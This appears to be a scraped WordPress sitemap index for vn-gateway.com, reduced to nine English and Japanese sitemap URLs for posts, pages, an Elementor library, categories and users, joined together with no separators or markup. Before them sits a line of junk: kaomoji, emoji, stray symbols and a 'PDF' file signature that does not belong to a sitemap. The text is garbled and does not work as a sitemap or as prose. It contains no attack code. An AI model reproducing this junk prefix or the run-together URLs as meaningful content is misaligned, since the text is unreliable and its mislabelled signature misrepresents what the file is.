Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml